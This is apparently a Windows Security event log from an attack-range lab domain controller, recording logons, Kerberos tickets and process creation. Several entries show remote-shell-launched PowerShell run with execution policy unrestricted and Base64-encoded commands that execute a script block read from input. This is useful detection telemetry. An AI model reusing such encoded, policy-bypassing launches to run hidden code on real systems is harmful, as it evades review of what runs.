Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{1CCAE5E8-05DD-8020-C324-71B138D4B566}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251406
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{1CCAE5E8-05DD-8020-C324-71B138D4B566}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251405
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251404
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EEA9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe90
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xff4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251403
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EEA9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xff4
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251402
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1336AB

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251401
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1336AB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{1CCAE5E8-05DD-8020-C324-71B138D4B566}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251400
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{1CCAE5E8-05DD-8020-C324-71B138D4B566}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251399
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{1CCAE5E8-05DD-8020-C324-71B138D4B566}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251398
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251397
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EEA9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1278
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x508
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251396
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EEA9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x508
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x133c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251395
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1334C4

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251394
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1334C4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{1CCAE5E8-05DD-8020-C324-71B138D4B566}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251393
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{1CCAE5E8-05DD-8020-C324-71B138D4B566}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

